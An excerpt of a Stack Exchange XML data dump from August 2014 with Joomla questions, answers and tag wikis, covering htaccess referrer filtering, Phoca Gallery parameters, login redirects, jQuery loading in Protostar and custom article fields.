  <row Id="4001" PostTypeId="4" CreationDate="2014-08-12T02:26:36.823" Score="0" Body="ACL specifies which users or system processes are granted access to objects, as well as what operations are allowed to be performed on given objects. In the case of Joomla there are two separate aspects to its Access Control List which site administrators can control: One system controls what things on the site users can view. The other controls what things users can do (what actions a user can take)." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:17.793" LastActivityDate="2014-08-12T06:13:17.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4002" PostTypeId="5" CreationDate="2014-08-12T02:33:02.543" Score="0" Body="&lt;p&gt;FOF (Framework on Framework) is a rapid application development framework for Joomla!. Unlike other frameworks it is not standalone. It extends the Joomla! Platform instead of replacing it, featuring its own forked and extended version of the MVC classes, keeping a strong semblance to the existing Joomla! MVC API. This means that you don't have to relearn writing Joomla! extensions. Instead, you can start being productive from the first day you're using it. Our goal is to always support the officially supported LTS versions of Joomla! and not break backwards compatibility without a clear deprecation and migration path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOF is compatible with the database technologies used by Joomla! itself: MySQL, SQL Server (and Windows Azure SQL), PostgreSQL. In most cases you can write a component in one database server technology and have it run on the other database server technologies with minimal or no effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FOF is currently used by free and commercial components for Joomla! by an increasing number of developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation and download links for FOF can be found at &lt;a href=&quot;https://www.akeebabackup.com/documentation/fof/introducing-fof.html&quot; rel=&quot;nofollow&quot;&gt;akeebabackup.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:40.217" LastActivityDate="2014-08-12T06:13:40.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4003" PostTypeId="4" CreationDate="2014-08-12T02:33:02.543" Score="0" Body="FOF (Framework on Framework) is a rapid application development framework for Joomla!. Unlike other frameworks it is not standalone. It extends the Joomla! Platform instead of replacing it, featuring its own forked and extended version of the MVC classes, keeping a strong semblance to the existing Joomla! MVC API." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-12T06:13:42.660" LastActivityDate="2014-08-12T06:13:42.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4004" PostTypeId="1" AcceptedAnswerId="4015" CreationDate="2014-08-12T03:50:25.490" Score="1" ViewCount="322" Body="&lt;p&gt;I've been playing with my htaccess file to better secure Joomla but I'm stuck at this example (&lt;a href=&quot;http://docs.joomla.org/Htaccess_examples_%28security%29&quot; rel=&quot;nofollow&quot;&gt;reference&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Referrer filtering for common media files. Replace with your own domain name.&#xA;## This blocks most common fingerprinting attacks ;)&#xA;## Note: Change www\.example\.com with your own domain name, substituting the&#xA;## dots with \.  i.e. use www\.example\.com for www.example.com&#xA;RewriteRule ^images/stories/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [L]&#xA;RewriteCond %{HTTP_REFERER} .&#xA;RewriteCond %{HTTP_REFERER} !^https?://(www\.)?example\.com [NC]&#xA;RewriteCond %{REQUEST_FILENAME} -f&#xA;RewriteRule \.(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [F]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added this example as a test and it messes up my site (obviously changing example.com to my site). I guess I'm not really sure what this is actually doing. &lt;code&gt;images/stories/&lt;/code&gt; doesn't exist on my server so what is this trying do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla 2.5&lt;/p&gt;&#xA;" OwnerUserId="83" LastEditorUserId="83" LastEditDate="2014-08-12T13:04:47.933" LastActivityDate="2014-08-12T16:26:54.013" Title="Joomla security - fingerprinting attacks with htaccess" Tags="|security|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4005" PostTypeId="1" CreationDate="2014-08-12T06:38:21.863" Score="-2" ViewCount="149" Body="&lt;p&gt;For some reason the Thumbnail creation has switched off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googling the issue reveals that I can just switch it back on in Parameters - but I simply cant find a link to parameters anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="1772" LastActivityDate="2014-08-12T08:04:23.217" Title="How do you set parameters in Phoca Gallery 3.2?" Tags="|module-params|phocagallery|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4006" PostTypeId="2" ParentId="4005" CreationDate="2014-08-12T08:04:23.217" Score="1" Body="&lt;p&gt;You should try contacting the developers themselves. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try 'Components - Phoca Gallery - Control Panel - click on icon Options (Parameters) (you can find this icon in top right corner of your Joomla administration)'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Main &gt; Pagination Thumbnail Generation - (Yes | No) Thumbnails will be generated only from images which will be listed in the Gallery list (more information about this parameter in Phoca Gallery User Manual)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-08-12T08:04:23.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4007" PostTypeId="1" CreationDate="2014-08-12T08:15:58.477" Score="2" ViewCount="473" Body="&lt;p&gt;I'm maintaining two user groups in front end. They are customer and retailer. There are two menu items for them to login. That means two login sections. Therefore there are two menu items are assigned to same view - login. &#xA;If there is an error occurred when login to system it redirect first menu item which is assigned to view - login. That means retailer section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Menu items&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Retailer login - 106&lt;/li&gt;&#xA;&lt;li&gt;Customer login - 107&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It always redirects to retailer login. This happens when we enable Search engine friendly urls only. I want to redirect them specific logins when error occurred. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution for handling this kind situation please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-08-12T16:13:12.337" Title="Handling two user groups in front end Joomla 2.5" Tags="|user|menu-item|login|user-groups|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4009" PostTypeId="1" AcceptedAnswerId="4012" CreationDate="2014-08-12T09:28:28.377" Score="4" ViewCount="2577" Body="&lt;p&gt;I want to know how the jquery resources loaded into the Joomla Protostar Template under Joomla 3.3. If I look into the code I see the jquery resources are loaded but in the index.php I cant find any code line. Can anyone tell how the jquery resources are loaded?&lt;/p&gt;&#xA;" OwnerUserId="1776" LastActivityDate="2014-08-13T10:05:40.680" Title="How is jQuery added to Joomla Template Protostar" Tags="|templates|jquery|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4011" PostTypeId="2" ParentId="4009" CreationDate="2014-08-12T10:07:11.177" Score="2" Body="&lt;p&gt;In the  section of my Protostar template I can see the following - can you not?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/jui/js/jquery.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/jquery-noconflict.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/media/jui/js/jquery-migrate.min.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also some documentation here that may help regarding Javascript frameworks and Joomla &lt;a href=&quot;http://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/J3.x:Javascript_Frameworks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See on line three;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To enable the Bootstrap framework, call&#xA;  JHtml::_('bootstrap.framework'). This will automatically enable the&#xA;  jQuery framework in noConflict mode (i.e. accessed via jQuery. instead&#xA;  of $.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope this is clear and helps.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-08-13T10:05:40.680" LastActivityDate="2014-08-13T10:05:40.680" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4012" PostTypeId="2" ParentId="4009" CreationDate="2014-08-12T10:25:08.837" Score="4" Body="&lt;p&gt;jQuery automatically gets imported in &lt;strong&gt;noConflict&lt;/strong&gt; mode when you use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('bootstrap.framework');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which also as you can probably figure out, loads the Bootstrap framework too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will see on line &lt;strong&gt;38&lt;/strong&gt; of the &lt;strong&gt;index.php&lt;/strong&gt; file in the Prosostar template folder&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-08-12T10:34:14.517" LastActivityDate="2014-08-12T10:34:14.517" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4013" PostTypeId="2" ParentId="4007" CreationDate="2014-08-12T16:13:12.337" Score="3" Body="&lt;p&gt;As the comments say, try the &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/login-redirect&quot; rel=&quot;nofollow&quot;&gt;Login Redirect Extensions&lt;/a&gt;, but I had the same scenario, and opted to use a plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-access/login-redirect/18772&quot; rel=&quot;nofollow&quot;&gt;Nomad&lt;/a&gt;.  What I liked about it (though you may not) is that it doesn't use the typical redirect that most of the similar plugins use, but instead dynamically &lt;em&gt;changes&lt;/em&gt; their home page, based on the User Group.  The net effect is that visitors have the normal home page, but once a Customer or Retailer logs in, any link to &quot;Home&quot; is now changed to the page of your choosing.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-12T16:13:12.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4014" PostTypeId="2" ParentId="3746" CreationDate="2014-08-12T16:20:16.863" Score="3" Body="&lt;p&gt;It turned out to be a JomSocial bug! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers have told me that they are working on it and will have it fixed shortly...&lt;/p&gt;&#xA;" OwnerUserId="1689" LastActivityDate="2014-08-12T16:20:16.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4015" PostTypeId="2" ParentId="4004" CreationDate="2014-08-12T16:26:54.013" Score="4" Body="&lt;p&gt;&lt;em&gt;First of all, I'm by no means an expert in &lt;code&gt;.htaccess&lt;/code&gt; usage.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you've posted will not allow anyone to hotlink your content, the only exception being defined in the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^images/stories/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The line &lt;code&gt;RewriteCond %{HTTP_REFERER} !^https?://(www\.)?example\.com [NC]&lt;/code&gt; defines the domain that is allowed to access any content, thus event a tiny error will stop Joomla from loading CSS, JS, images etc. from other directories. You should double-check this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also replace line #5 with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^((components|modules|templates|images|plugins|media)/.*\.(jpe|jpg|jpeg|jp2|jpe2|png|gif|bmp|css|js|swf|html|mpg|mp3|mpeg|mp4|avi|wav|ogg|ogv|xls|xlsx|doc|docx|ppt|pptx|zip|rar|pdf|xps|txt|7z|svg|odt|ods|odp|flv|mov|ico|htm))$ $1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found some additional info &lt;a href=&quot;https://www.akeebabackup.com/support/admin-tools/9792-htaccess-blocks-access-for-firefox.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The idea is that if you're going to disable HTTP referer validation,&#xA;  be consistent and do it site-wide to avoid hard-to-trace problems.&#xA;  Besides, this feature only offers limited protection against&#xA;  fingerprinting attacks (i.e. attempts of hackers to fly under the&#xA;  radar in order to figure out which Joomla! release you're using).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically, the code snippet you're using might cause more problems than it's worth.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-12T16:26:54.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4016" PostTypeId="2" ParentId="3746" CreationDate="2014-08-12T17:17:17.190" Score="2" Body="&lt;p&gt;When you are missing your usergroups, are these groups still in the database?  Look in the right tables of your Joomla Database! Iam sure that the groups are already there! &lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2014-08-12T17:17:17.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4017" PostTypeId="5" CreationDate="2014-08-12T22:45:06.893" Score="0" Body="&lt;p&gt;The Front-end is the public part of a Joomla site, and what the users see when they visit a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The layout of the front-end is defined by &lt;a href=&quot;/questions/tagged/templates&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;templates&amp;#39;&quot; rel=&quot;tag&quot;&gt;templates&lt;/a&gt;, and is where &lt;a href=&quot;/questions/tagged/content&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;content&amp;#39;&quot; rel=&quot;tag&quot;&gt;content&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/component&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;component&amp;#39;&quot; rel=&quot;tag&quot;&gt;component&lt;/a&gt;, &lt;a href=&quot;/questions/tagged/module&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;module&amp;#39;&quot; rel=&quot;tag&quot;&gt;module&lt;/a&gt;, and &lt;a href=&quot;/questions/tagged/plugin&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;plugin&amp;#39;&quot; rel=&quot;tag&quot;&gt;plugin&lt;/a&gt; are used to create the overall layout of a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although a Joomla website is mainly managed from the Back-end, basic maintenance tasks can be done from the front-end by an authorized user or website owner. Common front-end maintenance tasks include (but not limited to):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create new articles&lt;/li&gt;&#xA;&lt;li&gt;Upload and insert images&lt;/li&gt;&#xA;&lt;li&gt;Edit/remove existing articles&lt;/li&gt;&#xA;&lt;li&gt;Create and edit links&lt;/li&gt;&#xA;&lt;li&gt;Edit user profile details&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Depending on the page setup, components and user authorization, other tasks may be carried out as well. &lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-13T13:43:04.743" LastActivityDate="2014-08-13T13:43:04.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4018" PostTypeId="4" CreationDate="2014-08-12T22:45:06.893" Score="0" Body="The Front-end is the public part of a Joomla site, and what the users see when they visit a website." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-13T13:42:59.673" LastActivityDate="2014-08-13T13:42:59.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4019" PostTypeId="1" CreationDate="2014-08-12T22:51:45.980" Score="0" ViewCount="1125" Body="&lt;p&gt;&lt;code&gt;I want to to insert a tab(inside some input fields and save button) in some top components' add/edit item(or article..) editor&lt;/code&gt; so that while adding/editing new item/article in backend, user can add some content like facebook's open graph meta tags and save by clicking save button in the tab for that item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I will End up catching those tag inputs by a plugin to insert FB meta tags when that component's those items loaded at front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;But don't know how this process will be implemented.&lt;/code&gt; So starting with adding that tab in the above add/edit item editor is my primary concern. then i will deal with rest of the process. FYI right now i am trying to add in com_content, com_k2, com_virtuemart components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So show me light please with details of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;ok considering the toughness of adding custom tab in new/edit article page of content components, i am contemplating on pushing open graph meta tags in head of article/item page using plugin. User will include meta info in a {ogtags title=&quot;&quot;...} tag in article or anywhere in page and by the plugin i parse it and inject og meta tags for that article page. To serve that purpose which plugin event is proper, onAfterRender() or ?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="3650" LastEditDate="2016-11-24T18:25:01.387" LastActivityDate="2016-11-24T18:25:01.387" Title="How to add custom tab in component's new item editor" Tags="|joomla-3.x|joomla-2.5|articles|k2|facebook|" AnswerCount="1" CommentCount="0" ClosedDate="2014-08-13T20:31:30.990" ContentLicense="CC BY-SA 3.0" />
  <row Id="4020" PostTypeId="5" CreationDate="2014-08-12T22:59:56.160" Score="0" Body="&lt;p&gt;A CCK (Content Construction Kit) is an advanced content modeling system that extends the native content manager of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A CCK allows you to create a page made up of several elements and display it using a category specific template. Although new versions of Joomla includes more advanced functions for content management, CCKs may contain features that the Joomla core does not include, or includes with limited functionality, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extra fields&lt;/li&gt;&#xA;&lt;li&gt;Auto-resizable item image, video image, galleries&lt;/li&gt;&#xA;&lt;li&gt;Commenting system&lt;/li&gt;&#xA;&lt;li&gt;Multi themes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Popular Content Construction Kits&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;A list of most CCK available for Joomla can be found at the &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction&quot; rel=&quot;nofollow&quot;&gt;Joomla Extensions Directory&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the most popular CCKs are (in no particular order):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://getk2.org/&quot; rel=&quot;nofollow&quot;&gt;K2&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.yootheme.com/zoo&quot; rel=&quot;nofollow&quot;&gt;ZOO&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.flexicontent.org/&quot; rel=&quot;nofollow&quot;&gt;FlexiContent&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.seblod.com&quot; rel=&quot;nofollow&quot;&gt;SEBLOD&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://crosstec.de/en/extensions/joomla-cck-download.html&quot; rel=&quot;nofollow&quot;&gt;ContentBuilder&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-13T13:42:56.973" LastActivityDate="2014-08-13T13:42:56.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4021" PostTypeId="4" CreationDate="2014-08-12T22:59:56.160" Score="0" Body="A CCK (Content Construction Kit) is an advanced content modeling system that extends the native content manager of Joomla. Popular CCK include K2, SEBLOD, ZOO, Flexicontent and ContentBuilder." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-13T13:43:02.343" LastActivityDate="2014-08-13T13:43:02.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4022" PostTypeId="2" ParentId="3840" CreationDate="2014-08-13T03:59:22.787" Score="5" Body="&lt;p&gt;I actually found another option: The &lt;a href=&quot;http://docs.joomla.org/Editor_form_field_type&quot;&gt;editor field type&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;   name=&quot;test1&quot; &#xA;   label =&quot;Test Field&quot; &#xA;   type=&quot;editor&quot; &#xA;   width=&quot;300&quot; &#xA;   filter=&quot;safehtml&quot; &#xA;   editor=&quot;TinyMCE&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this field in my XML manifest, I'm able to add as many editors as needed.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-13T03:59:22.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4023" PostTypeId="2" ParentId="1171" CreationDate="2014-08-13T06:16:31.787" Score="3" Body="&lt;p&gt;The following classes can be added to your input field in order to control the size:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class=&quot;inputbox input-mini&quot;&#xA;class=&quot;inputbox input-small&quot; &#xA;class=&quot;inputbox input-medium&quot;&#xA;class=&quot;inputbox input-large&quot;&#xA;class=&quot;inputbox input-xlarge&quot;&#xA;class=&quot;inputbox input-xxlarge&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;size=&quot;45&quot;&lt;/code&gt; parameter seems to be overridden by the CSS class &lt;code&gt;.inputbox&lt;/code&gt;, forcing the width to &lt;code&gt;206px&lt;/code&gt;. Adding any of the classes above will solve this.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-13T06:16:31.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4025" PostTypeId="1" CreationDate="2014-08-13T09:22:22.993" Score="4" ViewCount="611" Body="&lt;p&gt;Sometimes, we need to customize the structure of Joomla! articles with custom fields in order to propose to users different textarea / input where he can enter datas such as date, location, text 1, text 2, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, it is easier to deal with design in front end. With CSS rules, each content is correctly designed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i can do that with CCK component such as K2, Seblod, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an other way  without component, with php and adding some modifications to Joomla ?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditDate="2014-08-13T09:32:31.047" LastActivityDate="2015-06-28T14:55:42.450" Title="How to modify article structure?" Tags="|component|module|articles|cck|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4026" PostTypeId="2" ParentId="4025" CreationDate="2014-08-13T09:43:56.730" Score="3" Body="&lt;p&gt;I needed to do this recently as well and I followed a few online examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few good examples including the Joomla docs &lt;a href=&quot;http://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another nice tutorial can be found here - &lt;a href=&quot;http://andresgallo.com/2011/08/22/add-custom-content-fields-to-joomla/&quot; rel=&quot;nofollow&quot;&gt;Add custom content fields to Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realise you don't want to use a CCK however you should have a look at &lt;a href=&quot;http://www.fieldsattach.com/&quot; rel=&quot;nofollow&quot;&gt;Fields Attach&lt;/a&gt; which is very good, and simple&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope these help.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-08-13T09:43:56.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4027" PostTypeId="2" ParentId="4019" CreationDate="2014-08-13T12:34:32.673" Score="1" Body="&lt;p&gt;There's no official API to extend a component. These are some alternatives:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can install an &lt;strong&gt;Editor Button&lt;/strong&gt; plugin. Besides the button, the plugin can also add Javascript routines to extend the component.&lt;/li&gt;&#xA;&lt;li&gt;You can define a full &lt;strong&gt;System Plugin&lt;/strong&gt;, parse the Url, and inject a whole Javascript App to the component&lt;/li&gt;&#xA;&lt;li&gt;With a &lt;strong&gt;View Override&lt;/strong&gt; at template level: &lt;a href=&quot;https://joomla.stackexchange.com/questions/3612/is-there-a-way-to-have-the-article-edit-box-stretch-the-full-width-of-the-screen/3613#3613&quot;&gt;Is there a way to have the article edit box stretch the full width of the screen in Joomla 2.5?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-08-13T12:34:32.673" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4029" PostTypeId="2" ParentId="4025" CreationDate="2014-08-13T13:20:40.780" Score="10" Body="&lt;p&gt;I believe I have your solution, but do NOT hack the core.  We &lt;em&gt;felt&lt;/em&gt; forced to do that over the years, and we're still paying the price even today, missing updates, revisiting hacks everytime we do update, and general incompatibility with other components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we now do is this: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;New table &lt;code&gt;#__content_ext&lt;/code&gt; with a key field that is identical to &lt;code&gt;#__content&lt;/code&gt; and a column for each custom field you want.&lt;/li&gt;&#xA;&lt;li&gt;New table &lt;code&gt;#__categories_ext&lt;/code&gt; with a key field that is identical to &lt;code&gt;#__categories&lt;/code&gt; and a column for each custom field you may want.&lt;/li&gt;&#xA;&lt;li&gt;Add custom fields to com_content (we use and love &lt;a href=&quot;http://extensions.joomla.org/extensions/authoring-a-content/content-construction/27155?qh=YToxOntpOjA7czo3OiJhaXhlZW5hIjt9&quot;&gt;Aixeena CCK&lt;/a&gt;  which can add custom fields to content, categories, &lt;em&gt;and&lt;/em&gt; menus).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point, you're leveraging all the code/logic in &lt;code&gt;com_content&lt;/code&gt; without a single core hack.  However, your custom fields are all being stored in the &lt;code&gt;params&lt;/code&gt; and &lt;code&gt;attribs&lt;/code&gt; columns of the Joomla tables, which is not ideal for typical database use in other custom code you may need.  This is where the &quot;magic&quot; comes in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write a simple content plugin using the below sample code to create/update the table extensions described above.  This puts all your custom fields into custom tables which are available for whatever purpose you need them for in SQL.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onContentAfterSave($context=null, $article=null, $isNew=0) {&#xA;    if($context == 'com_categories.category') {&#xA;        $params = new JRegistry;&#xA;        $params-&amp;gt;loadString($article-&amp;gt;params);&#xA;        $myObj = $params-&amp;gt;toObject();&#xA;        // Use properties from $article and $myObj to create/update #__categories_ext&#xA;        // Use $article-&amp;gt;id as the primary key if #__categories_ext&#xA;        // Your SQL goes here....&#xA;&#xA;    }elseif($context=='com_content.article'){&#xA;        $attribs = new JRegistry;&#xA;        $attribs-&amp;gt;loadString($article-&amp;gt;attribs);&#xA;        $myObj = $attribs-&amp;gt;toObject();&#xA;        // Use properties from $article and $myObj to create/update #__content_ext&#xA;        // Use $article-&amp;gt;id as the primary key if #__content_ext&#xA;        // Your SQL goes here....&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Admittedly, the data is being stored twice - once as custom content, and again in your custom table, but bending that normalization rule MORE than pays for the work and grief that a core hack costs if you intend on keeping the site current to Joomla versions.  You've also left things in such a state you can use all the com_content and other extensions that use com_content without any consequence of your hacks.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2014-08-13T13:37:13.560" LastActivityDate="2014-08-13T13:37:13.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4031" PostTypeId="1" CreationDate="2014-08-13T15:02:00.303" Score="0" ViewCount="47" Body="&lt;p&gt;I apologize if this has been duplicated somewhere already but I did have a question Im hoping someone can help answer! So to lay the back story, I work for a non profit that is running Joomla 1.5 and we have been looking to migrate and upgrade for some time. There have been a few road bumps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We havent had the staff to fully devote time to do this&lt;/li&gt;&#xA;&lt;li&gt;The website cant be down very long&lt;/li&gt;&#xA;&lt;li&gt;We have dozens of people constantly updating the site at all hours of the day and night&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now we had hired a consultant (prior to me being hired) to migrate us over to a Joomla 3 dev server. He migrated the theme, posts, images and everything. It actually looks great and functions perfectly. The problem is that the content is from Christmas. So I have been tasked with creating a way to keep the two in sync (production 1.5 with dev 3.x) until we can finally get a day to tell everyone to stop posting so we can update. Now I am way more familiar with Wordpress so when it comes to Joomla I have no idea. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long story short is there a way that I 